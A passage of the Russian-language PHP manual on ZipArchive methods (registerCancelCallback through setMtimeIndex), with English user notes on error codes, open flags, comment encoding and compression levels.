                        return 'Can\'t open file';

                        case 12:
                        return 'Failure to create temporary file';

                        case 13:
                        return 'Zlib error';

                        case 14:
                        return 'Malloc failure';

                        case 15:
                        return 'Entry has been changed';

                        case 16:
                        return 'Compression method not supported';

                        case 17:
                        return 'Premature EOF';

                        case 18:
                        return 'Invalid argument';

                        case 19:
                        return 'Not a zip archive';

                        case 20:
                        return 'Internal error';

                        case 21:
                        return 'Zip archive inconsistent';

                        case 22:
                        return 'Can\'t remove file';

                        case 23:
                        return 'Entry has been deleted';

                        default:
                        return 'An unknown error has occurred('.intval($code).')';
                    }
            }

        public function isDir($path)
            {
                return substr($path,-1) == '/';
            }

        public function getTree()
            {
                $Tree = array();
                $pathArray = array();
                for($i=0; $i<$this->numFiles; $i++)
                    {
                        $path = $this->getNameIndex($i);
                        $pathBySlash = array_values(explode('/',$path));
                        $c = count($pathBySlash);
                        $temp = &$Tree;
                        for($j=0; $j<$c-1; $j++)
                            if(isset($temp[$pathBySlash[$j]]))
                                $temp = &$temp[$pathBySlash[$j]];
                            else
                                {
                                    $temp[$pathBySlash[$j]] = array();
                                    $temp = &$temp[$pathBySlash[$j]];
                                }
                        if($this->isDir($path))
                            $temp[$pathBySlash[$c-1]] = array();
                        else
                            $temp[] = $pathBySlash[$c-1];
                    }
                return $Tree;
            }
    }
?>
jekillen at prodigy net 13-Apr-2015 07:23
Calling ZipArchive->open() will not create an empty zip archive file.
I found this out the hard way. I wrote code that produced positive
results: I.E. the return value from the call to ZipArchive was TRUE
and the empty zip file was not created. So at least call
ZipArchive->addFromString(<filename.zip>, '<minimal content>')
when creating a new zip archive file.
Eric Langlois 29-Jan-2014 09:53
<?PHP
        $zip = new ZipArchive;
    $res = $zip->open('test.zip', ZipArchive::CREATE);

    if ( $res === TRUE) {
               //CODE GOES HERE

        $zip->close();
    } else {
        switch($res){
            case ZipArchive::ER_EXISTS:
                $ErrMsg = "File already exists.";
                break;

            case ZipArchive::ER_INCONS:
                $ErrMsg = "Zip archive inconsistent.";
                break;

            case ZipArchive::ER_MEMORY:
                $ErrMsg = "Malloc failure.";
                break;

            case ZipArchive::ER_NOENT:
                $ErrMsg = "No such file.";
                break;

            case ZipArchive::ER_NOZIP:
                $ErrMsg = "Not a zip archive.";
                break;

            case ZipArchive::ER_OPEN:
                $ErrMsg = "Can't open file.";
                break;

            case ZipArchive::ER_READ:
                $ErrMsg = "Read error.";
                break;

            case ZipArchive::ER_SEEK:
                $ErrMsg = "Seek error.";
                break;

            default:
                $ErrMsg = "Unknow (Code $rOpen)";
                break;

        }
         die( 'ZipArchive Error: ' . $ErrMsg);
    }
?>
walter at clevertechie dot com 17-Nov-2012 08:53
If you have archives that you want to overwrite just use:

ZIPARCHIVE::CREATE

It will overwrite existing archives and at the same time create new ones if they don't already exist.

ZIPARCHIVE::OVERWRITE won't work for both of these scenarios.

(PHP version 5.4.4)
YiiWanAB at hotmail dot com 30-Aug-2011 10:06
Most of the time people iterate over a directory with 'opendir' or 'readdir' to add files to a zip. Like...

while ($file = readdir($dir)) { ... $zip->addFile($file) }

Note that $zip->addFile($file) will only work in the current directory if your at the root. You will need to add the correct path to that $file string variable to have the full file name like ...

$zip->addFile($dir . DIRECTORY_SEPARATOR . $file); will work.

This may identify why you may get a read error when closing the file.

Enjoy.
sunil dt bhave at gmail dt com 16-Mar-2011 10:44
Even though the api specifies that the flags are optional I found that I had to specify the flag ZIPARCHIVE::CREATE for an archive to be opened.
This is on a Windows 7 system with PHP 5.3.0
Jan Vavra 10-Mar-2011 12:04
As discussed in http://bugs.php.net/bug.php?id=54128 on Windows Server systems (2003, 2008) and IIS there is a problem when you want to unzip file stored in C:\Windows\Temp folder.
User of worker process IUSR_XXX has no directory listing right for C:\Windows\Temp and this is a reason why ZipArchive::open() fails with error 11 (error open). So it is not a good idea to store file for unzipping in folder defined by sys_get_temp_dir().
sebwoolford at gmail dot com 23-Oct-2009 03:29
Further to what rickky at gmail dot com was saying, I've had that problem while trying to cache zip files and found that I had to set the permissions of the containing folder to 777 to get it to work.

Because this is a potential security weakness if on a public viewable folder, I'd recommend moving the folder so that it is no longer within public_html. You can then use readfile() to output the archive to the browser, with some HTTP headers to tell the browser it is a zip file.
michael202 at gmx dot de 29-Jul-2009 06:33
to anyone getting an error ZIPARCHIVE::ER_READ = 5, when
doing $zip->open($zipfile) with a ZIP file containing a total of more then (around) 800 files (even when they are in sub-directories).

possibly related bugs 40873, 8714:

1. it was not an OS limit, because it worked when called from windows via samba on the same file at the same place

2. it wasn't working under 32bit linux

with php 5.3.0 the issue seems to be resolved.
eric at webdeveric dot com 06-Feb-2009 07:06
With php 5.2.6, the following code created a new zip or replaced a existing zip.
Note that I am only using the ZIPARCHIVE::OVERWRITE flag.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

Now, with php 5.2.8, it does not work and gives this warning:

Warning: ZipArchive::addFromString() [ziparchive.addfromstring]: Invalid or unitialized Zip object in [myfile] on line [myline]

To fix this, you must specify the flags as create or overwrite.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

When googling for the error message I found a lot of people that had it but couldn't figure out why they were getting it.
I hope this helps someone.
jj at icglink dot com 04-Dec-2008 11:09
if you are echoing out the output and confused about the number...maybe this will help.  i'm not totally sure it is accurate though.

ZIPARCHIVE::ER_EXISTS - 10
ZIPARCHIVE::ER_INCONS - 21
ZIPARCHIVE::ER_INVAL - 18
ZIPARCHIVE::ER_MEMORY - 14
ZIPARCHIVE::ER_NOENT - 9
ZIPARCHIVE::ER_NOZIP - 19
ZIPARCHIVE::ER_OPEN - 11
ZIPARCHIVE::ER_READ - 5
ZIPARCHIVE::ER_SEEK - 4
azsymvelik at gmail dot com 01-Aug-2008 01:25
<?php

/*
Hi!

I made a little script about checking content and "secure repacking"
*/

$somefile = "zip.zip";
$someurl = "/some/url"
$zip = new ZipArchive;
$open = $zip->open($somefile, ZIPARCHIVE::CHECKCONS);
// If the archive is broken(or just another file renamed to *.zip) the function will return error on httpd under windows, so it's good to check if the archive is ok with ZIPARCHIVE::CHECKCONS
if ($open === TRUE) {
if(!$zip->extractTo($someurl)) {
die ("Error during extracting");
}
$zip->close();
}
$new_archive_name = "new.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
if ($new_open === TRUE) {
$dir = opendir($someurl);
while ($file = readdir($dir)) {
 if ($file == "." || $file == "..") { } else {
 //We do not wanna this files in the new zip archive
  if (!$new_zip->addFile($file)) {
     print $file."was not added!<br />";
   }
  }
 }
}
$new_zip->close();
?>
Jonathan Baltazar 23-Jul-2008 07:14
The file name does not need to end in '.zip' if it is created using tempnam().  You just need to overwrite the file instead of trying to read it:

<?php
$file = tempnam("tmp", "zip");

$zip = new ZipArchive();

// Zip will open and overwrite the file, rather than try to read it.
$zip->open($file, ZipArchive::OVERWRITE);

$zip->close();

// Stream the file to the client
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"a_zip_file.zip\"");
readfile($file);

unlink($file);
?>
olivier pons 16-May-2008 12:26
If you try this to open a file with creation in mind (= empty zip to fill with other files), this may not work :

$res = $zip->open($zip_file, ZipArchive::CREATE);

// you may get false

Try this instead, it should work :

$res = $zip->open($zip_file, ZIPARCHIVE::OVERWRITE);
rickky at gmail dot com 02-Jul-2007 05:07
If the directory you are writing or saving into does not have the correct permissions set, you won't get any error messages and it will look like everything worked fine... except it won't have changed!

Instead make sure you collect the return value of ZipArchive::close(). If it is false... it didn't work.


Регистрирует callback-функцию для разрешения отмены во время закрытия архива

  • « ZipArchive::open
  • ZipArchive::registerProgressCallback »
  • PHP Manual
  • ZipArchive
  • Регистрирует callback-функцию для разрешения отмены во время закрытия архива

ZipArchive::registerCancelCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerCancelCallback — Регистрирует callback-функцию для разрешения отмены во время закрытия архива

Описание

public ZipArchive::registerCancelCallback(callable $callback): bool

Регистрирует callback-функцию для разрешения отмены во время закрытия архива.

Список параметров

callback

Если функция вернёт 0, операция продолжится, при другом значении она будет отменена.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

В этом примере создаётся ZIP-архив php.zip и отменяется операция при некоторых условиях запуска.

Пример #1 Архивация файла

<?php
$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
$zip->addFile(PHP_BINARY, 'php');
$zip->registerCancelCallback(function () {
return ($someruncondition ? -1 : 0);
});
$zip->close();
}

Примечания

Замечание:

Функция доступна, если PHP скомпилирован с libzip ? 1.6.0.

Смотрите также

  • ZipArchive::registerProgressCallback() - Регистрирует callback-функцию для предоставления обновлений при закрытии архива

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функцию для предоставления обновлений при закрытии архива

  • « ZipArchive::registerCancelCallback
  • ZipArchive::renameIndex »
  • PHP Manual
  • ZipArchive
  • Регистрирует callback-функцию для предоставления обновлений при закрытии архива

ZipArchive::registerProgressCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerProgressCallback — Регистрирует callback-функцию для предоставления обновлений при закрытии архива

Описание

public ZipArchive::registerProgressCallback(float $rate, callable $callback): bool

Регистрирует callback-функцию для предоставления обновлений при закрытии архива.

Список параметров

rate

Изменение между каждым вызовом callback-функции (от 0,0 до 1,0).

callback

Функция будет получать текущее состояние (state) в виде числа с плавающей точкой (float) (от 0,0 до 1,0).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

В этом примере создаётся ZIP-архив php.zip и отображается прогрессия.

Пример #1 Архивация файла

$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
$zip->addFile(PHP_BINARY, 'php');
$zip->registerProgressCallback(0.05, function ($r) {
printf("%d%%\n", $r * 100);
});
$zip->close();
}

Примечания

Замечание:

Функция доступна, если PHP скомпилирован с libzip ? 1.6.0.

Смотрите также

  • ZipArchive::registerCancelCallback() - Регистрирует callback-функцию для разрешения отмены во время закрытия архива

User Contributed Notes

There are no user contributed notes for this page.


Переименовывает элемент по его индексу

  • « ZipArchive::registerProgressCallback
  • ZipArchive::renameName »
  • PHP Manual
  • ZipArchive
  • Переименовывает элемент по его индексу

ZipArchive::renameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameIndex — Переименовывает элемент по его индексу

Описание

public ZipArchive::renameIndex(int $index, string $new_name): bool

Переименовывает элемент по его индексу.

Список параметров

index

Индекс элемента для переименования.

new_name

Новое имя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Переименование одного элемента

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->renameIndex(2,'newname.txt');
$zip->close();
} else {
echo 'ошибка с кодом:' . $res;
}
?>

User Contributed Notes

Jonathan Holvey 05-Dec-2016 09:40
To rename a folder, you must replace the folder name in the path of every file that it contains.
troy_rudolph at bridge360 dot com 10-Jun-2016 05:02
I have tried to rename folders inside the zip file using ZipArchive::renameIndex() and ZipArchive::renameName().  Neither was successful.  I believe that this is not a bug and wanted to document it.


Переименовывает элемент по его имени

  • « ZipArchive::renameIndex
  • ZipArchive::replaceFile »
  • PHP Manual
  • ZipArchive
  • Переименовывает элемент по его имени

ZipArchive::renameName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameName — Переименовывает элемент по его имени

Описание

public ZipArchive::renameName(string $name, string $new_name): bool

Переименовывает элемент, заданный по имени.

Список параметров

name

Имя элемента для переименования.

new_name

Новое имя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Переименование одного элемента

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->renameName('currentname.txt','newname.txt');
$zip->close();
} else {
echo 'ошибка с кодом:' . $res;
}
?>

User Contributed Notes

mumpitz89 at gmx dot net 09-Feb-2016 01:13
When you rename a file in an archive using the function above and the target file name already exists, the function will return FALSE as a result.


Заменяет файл в ZIP-архиве указанным путём

  • « ZipArchive::renameName
  • ZipArchive::setArchiveComment »
  • PHP Manual
  • ZipArchive
  • Заменяет файл в ZIP-архиве указанным путём

ZipArchive::replaceFile

(PHP >= 8.0.0, PECL zip >= 1.18.0)

ZipArchive::replaceFile — Заменяет файл в ZIP-архиве указанным путём

Описание

public ZipArchive::replaceFile(
string $filepath,
int $index,
int $start = 0,
int $length = 0,
int $flags = 0
): bool

Заменяет файл в ZIP-архиве указанным путём.

Замечание: Для максимальной переносимости, рекомендуется всегда использовать прямые слеши (/) в качестве разделителя директорий в именах файлов.

Список параметров

filepath

Путь к файлу для добавления.

index

Индекс файла, подлежащего замене, его имя не изменяется.

start

Для частичного копирования начальная позиция.

length

Для частичного копирования - длина, которую нужно скопировать, если 0 или -1, используется весь файл (начиная со start).

flags

Битовая маска, состоящая из ZipArchive::FL_ENC_GUESS, ZipArchive::FL_ENC_UTF_8, ZipArchive::FL_ENC_CP437, ZipArchive::FL_OPEN_FILE_NOW. Поведение этих констант описано на странице Константы ZIP.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.0 / 1.22.1 | Добавлена константа ZipArchive::FL_OPEN_FILE_NOW.

Примеры

В этом примере открывается ZIP-архив test.zip и заменяется запись с индексом 1 на /path/to/index.txt.

Пример #1 Открытие и замена

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
$zip->replaceFile('/path/to/index.txt', 1);
$zip->close();
echo 'Ок';
} else {
echo 'Ошибка';
}
?>

Смотрите также

  • ZipArchive::addFile() - Добавляет в ZIP-архив файл по указанному пути

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает комментарий к ZIP-архиву

  • « ZipArchive::replaceFile
  • ZipArchive::setArchiveFlag »
  • PHP Manual
  • ZipArchive
  • Устанавливает комментарий к ZIP-архиву

ZipArchive::setArchiveComment

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setArchiveComment — Устанавливает комментарий к ZIP-архиву

Описание

public ZipArchive::setArchiveComment(string $comment): bool

Устанавливает комментарий к ZIP-архиву.

Список параметров

comment

Содержание комментария.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание архива и установка комментария

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'содержимое файла');
$zip->setArchiveComment('новый комментарий архива');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

poetbi at boasoft dot cn 09-Oct-2023 07:01
ZipArchive (using libzip) encodes comments in UTF-8/ASCII, but some softwares on Windows show comments in ANSI (such as GBK...), so we should :

<?php
    $_charset = 'GBK';
    $file = 'D:/boaphp.zip';
    $comment = '??ABC123';

    $zip = new ZipArchive;
    $res = $zip->open($file, ZipArchive::CREATE);
    if ($res) {
        //add files here

        if($_charset){ //for Winrar, 7z...
            $zip->close();

            $str = mb_convert_encoding($comment, $_charset, 'UTF-8');
            $fh = fopen($file, 'r+b');
            fseek($fh, -2, SEEK_END);
            $str = pack('v', strlen($str)) . $str;
            fwrite($fh, $str);
            fclose($fh);
        }else{ //for PHP: $zip->getArchiveComment()
            $zip->setArchiveComment($comment);
            $zip->close();
        }
    }
?>
solrac at ragnarockradio dot com 22-Nov-2016 07:25
Zip archives are encoded in ISO-8859-1 when stored but comments seem to be added in UTF-8 everytime. So...

<?php
   $zip->setArchiveComment("Pena");    //outputs "PeA±a" as the comment.

   $zip->setArchiveComment("Pena");    //outputs "NULL" as the comment / no comment is displayed.
?>

Using mb_internal_encoding() or mb_http_output() wont change this behavior.
At the end you can fix your corrupted comment using something like str_replace();

Consider this:

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setArchiveComment('Pena'); //outputs "PeA±a" as the comment.
    $zip->close();
    $file = file_get_contents('test.zip');
    file_put_contents('test.zip', str_replace("Pena", utf8_decode("Pena"), $file)); //outputs "Pena" as the comment. FIXED!

    echo 'ok';
} else {
    echo 'failed';
}
?>
stanislav dot eckert at vizson dot de 12-May-2015 09:32
Please note that ZIP archives do not support unicode encodings like UTF-8, so multi-byte characters cannot be shown in standard ZIP viewers like WinRAR or 7-zip. However, the text will stored as-is, so it is at least possible to display UTF-8 comments in your own desktop or web applications. If you want to test with PHP and output in a browser, don't forget to set page charset to UTF-8 too:

header("Content-Type: text/plain; CHARSET=Windows-1251");


Устанавливает глобальный флаг ZIP-архива

  • « ZipArchive::setArchiveComment
  • ZipArchive::setCommentIndex »
  • PHP Manual
  • ZipArchive
  • Устанавливает глобальный флаг ZIP-архива

ZipArchive::setArchiveFlag

(PHP >= 8.3.0, PECL zip >= 1.22.0)

ZipArchive::setArchiveFlag — Устанавливает глобальный флаг ZIP-архива

Описание

public ZipArchive::setArchiveFlag(int $flag, int $value): bool

Устанавливает глобальный флаг ZIP-архива.

Список параметров

flag

Глобальный флаг, который необходимо изменить, из констант AFL_*:

  • ZipArchive::AFL_WANT_TORRENTZIP

  • ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE

value

Новое значение флага.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание архива torrentzip

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->setArchiveFlag(ZipArchive::AFL_WANT_TORRENTZIP, 1);
$zip->addFromString('test.txt', 'содержимое файла');
$zip->close();
echo 'Успешное выполнение';
} else {
echo 'Ошибка';
}
?>

Смотрите также

  • ZipArchive::getArchiveFlag() - Возвращает значение глобального флага ZIP-архива

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает комментарий к элементу по его индексу

  • « ZipArchive::setArchiveFlag
  • ZipArchive::setCommentName »
  • PHP Manual
  • ZipArchive
  • Устанавливает комментарий к элементу по его индексу

ZipArchive::setCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentIndex — Устанавливает комментарий к элементу по его индексу

Описание

public ZipArchive::setCommentIndex(int $index, string $comment): bool

Устанавливает комментарий к элементу по его индексу.

Список параметров

index

Индекс элемента.

comment

Содержание комментария.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Открывает архив и устанавливает комментарий к элементу

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->setCommentIndex(2, 'новая запись комментария');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает комментарий к элементу, заданному по имени

  • « ZipArchive::setCommentIndex
  • ZipArchive::setCompressionIndex »
  • PHP Manual
  • ZipArchive
  • Устанавливает комментарий к элементу, заданному по имени

ZipArchive::setCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentName — Устанавливает комментарий к элементу, заданному по имени

Описание

public ZipArchive::setCommentName(string $name, string $comment): bool

Устанавливает комментарий к элементу, заданному по имени.

Список параметров

name

Имя элемента.

comment

Содержание комментария.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Открытие архива и установка комментария к элементу

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
$zip->setCommentName('entry1.txt', 'новая запись комментария');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить метод сжатия записи, заданной её индексом

  • « ZipArchive::setCommentName
  • ZipArchive::setCompressionName »
  • PHP Manual
  • ZipArchive
  • Установить метод сжатия записи, заданной её индексом

ZipArchive::setCompressionIndex

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionIndex — Установить метод сжатия записи, заданной её индексом

Описание

public ZipArchive::setCompressionIndex(int $index, int $method, int $compflags = 0): bool

Устанавливает метод сжатия записи, заданной её индексом.

Список параметров

index

Индекс записи.

method

Метод сжатия, одна из констант ZipArchive::CM_*.

compflags

Уровень сжатия.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавить к архиву файлы с разными методами сжатия

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('foo', 'Некоторый текст');
$zip->addFromString('bar', 'Некоторый другой текст');
$zip->setCompressionIndex(0, ZipArchive::CM_STORE);
$zip->setCompressionIndex(1, ZipArchive::CM_DEFLATE);
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить метод сжатия записи, заданной по имени

  • « ZipArchive::setCompressionIndex
  • ZipArchive::setEncryptionIndex »
  • PHP Manual
  • ZipArchive
  • Установить метод сжатия записи, заданной по имени

ZipArchive::setCompressionName

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionName — Установить метод сжатия записи, заданной по имени

Описание

public ZipArchive::setCompressionName(string $name, int $method, int $compflags = 0): bool

Устанавливает метод сжатия записи заданной по имени.

Список параметров

name

Имя записи.

method

Метод сжатия, одна из констант ZipArchive::CM_*.

compflags

Уровень сжатия.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Добавить к архиву файлы с разными методами сжатия

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('foo', 'Некоторый текст');
$zip->addFromString('bar', 'Некоторый другой текст');
$zip->setCompressionName('foo', ZipArchive::CM_STORE);
$zip->setCompressionName('bar', ZipArchive::CM_DEFLATE);
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Пример #2 Добавить файл и установить метод сжатия

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFile('foo.jpg', 'bar.jpg');
$zip->setCompressionName('bar.jpg', ZipArchive::CM_XZ);
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

gajowy at agzeta dot pl 03-Feb-2023 10:19
The compression level (compflags) option is, generally speaking, an integer value between 0 and 9. The behavior of the system depends on the selected method and the value of compflags and can sometimes be not you expected.

The result below is from PHP 8.1 on Windows platform and may possibly be different on other systems or versions:

- for the CM_DEFAULT method, always CM_DEFLATE is used with level 9, regardless of what you put as compflags,

- for the CM_STORE method, for compflags 0-9 you get the same result, which is obvious because the method itself means "no compression at all". However, for compflags>9, surprisingly the CM_DEFLATE method is used instead with compression level 9.

- for CM_DEFLATE method, 1 means the fastest and weakest compression, while 9 - the slowest and strongest one. compflags=0 and compflags>9 works as it if were with compflags=9,

- for CM_BZIP2 method, 1 means the fastest and weakest compression, while 9 - the slowest and strongest one. compflags=0 works like compflag=9, and if you use compflags>9, the method will surprisingly switch to CM_DEFLATE level 9,

- for CM_XZ method, 0 means the fastest and weakest compression, while 9 - the slowest and strongest one. For compflags>9 the method surprisingly switch to CM_DEFLATE level 9.


Установить метод шифрования записи по её индексу

  • « ZipArchive::setCompressionName
  • ZipArchive::setEncryptionName »
  • PHP Manual
  • ZipArchive
  • Установить метод шифрования записи по её индексу

ZipArchive::setEncryptionIndex

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionIndex — Установить метод шифрования записи по её индексу

Описание

public ZipArchive::setEncryptionIndex(int $index, int $method, ?string $password = null): bool

Устанавливает метод шифрования записи, указанной по индексу.

Список параметров

index

Индекс записи.

method

Метод шифрования, заданный одной из констант ZipArchive::EM_.

password

Пароль. Если не указывать, то будет использован пароль по умолчанию.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | password теперь допускает значение null.

Примечания

Замечание:

Функция доступна только если скомпилировано с использованием libzip ? 1.2.0.

Смотрите также

  • ZipArchive::setPassword() - Установка пароля для активного архива
  • ZipArchive::setEncryptionName() - Установить метод шифрования записи по её имени

User Contributed Notes

There are no user contributed notes for this page.


Установить метод шифрования записи по её имени

  • « ZipArchive::setEncryptionIndex
  • ZipArchive::setExternalAttributesIndex »
  • PHP Manual
  • ZipArchive
  • Установить метод шифрования записи по её имени

ZipArchive::setEncryptionName

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionName — Установить метод шифрования записи по её имени

Описание

public ZipArchive::setEncryptionName(string $name, int $method, ?string $password = null): bool

Установить метод шифрования записи, указанной по её имени.

Список параметров

name

Имя записи.

method

Метод шифрования, заданный одной из констант ZipArchive::EM_.

password

Пароль. Если не указывать, то будет использован пароль по умолчанию.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | password теперь допускает значение null.

Примеры

В этом примере создаётся ZIP-архив test.zip, содержащий файл test.txt, зашифрованный с помощью AES 256.

Пример #1 Архивируем и шифруем файл

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->setPassword('secret');
$zip->addFile('text.txt');
$zip->setEncryptionName('text.txt', ZipArchive::EM_AES_256);
$zip->close();
echo "готово\n";
} else {
echo "ошибка\n";
}
?>

Примечания

Замечание:

Функция доступна только если скомпилировано с использованием libzip ? 1.2.0.

Смотрите также

  • ZipArchive::setPassword() - Установка пароля для активного архива
  • ZipArchive::setEncryptionIndex() - Установить метод шифрования записи по её индексу

User Contributed Notes

romke at romke dot nl 30-Mar-2021 10:34
On windows is the "EM_AES_256" by default not supported, but you can use winrar, winzip or 7zip.

At first we had a password of 128 chars (this was to long) and all extract applications give an error that the password was incorrect.

The next time we did use a password of 52 chars., this time i did work!
mauro dot chojrin at leewayweb dot com 14-Aug-2020 05:13
Files compressed using this function on Linux won't be decompressed using Windows.

There seems to be some incompatibility with Windows built-in decompressor.

There's an alternative library that works better here: https://github.com/Ne-Lexa/php-zip

I got windows to open a file created with it by using the PKWARE encryption method


Установить внешние атрибуты записи по её индексу

  • « ZipArchive::setEncryptionName
  • ZipArchive::setExternalAttributesName »
  • PHP Manual
  • ZipArchive
  • Установить внешние атрибуты записи по её индексу

ZipArchive::setExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesIndex — Установить внешние атрибуты записи по её индексу

Описание

public ZipArchive::setExternalAttributesIndex(
int $index,
int $opsys,
int $attr,
int $flags = 0
): bool

Устанавливает внешние атрибуты записи, заданной её индексом.

Список параметров

index

Индекс записи.

opsys

Код операционной системы заданный одной из констант ZipArchive::OPSYS_.

attr

Внешние атрибуты. Значения зависят от операционной системы.

flags

Опциональные флаги. Не используется.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Установка внешних атрибутов записи, заданной по имени

  • « ZipArchive::setExternalAttributesIndex
  • ZipArchive::setMtimeIndex »
  • PHP Manual
  • ZipArchive
  • Установка внешних атрибутов записи, заданной по имени

ZipArchive::setExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesName — Установка внешних атрибутов записи, заданной по имени

Описание

public ZipArchive::setExternalAttributesName(
string $name,
int $opsys,
int $attr,
int $flags = 0
): bool

Установка внешних атрибутов записи, заданной по имени.

Список параметров

name

Имя записи.

opsys

Код операционной системы, определяется одной из констант ZipArchive::OPSYS_.

attr

Внешние атрибуты. Значение зависит от операционной системы.

flags

Необязательные флаги. В настоящее время не используется.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

В этом примере открывается файл архива ZIP test.zip и к нему добавляется файл test.txt с правами Unix в виде внешних атрибутов.

Пример #1 Сжатие файла с его правами Unix

<?php
$zip = new ZipArchive();
$stat = stat($filename='test.txt');
if (is_array($stat) && $zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
$zip->addFile($filename);
$zip->setExternalAttributesName($filename, ZipArchive::OPSYS_UNIX, $stat['mode'] << 16);
$zip->close();
echo "готово\n";
} else {
echo "ошибка\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить время модификации файла по его индексу

  • « ZipArchive::setExternalAttributesName
  • ZipArchive::setMtimeName »
  • PHP Manual
  • ZipArchive
  • Установить время модификации файла по его индексу

ZipArchive::setMtimeIndex

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeIndex — Установить время модификации файла по его индексу

Описание

public ZipArchive::setMtimeIndex(int $index, int $timestamp, int $flags = 0): bool

Установить время модификации файла по его индексу.

Список параметров

index

Индекс.

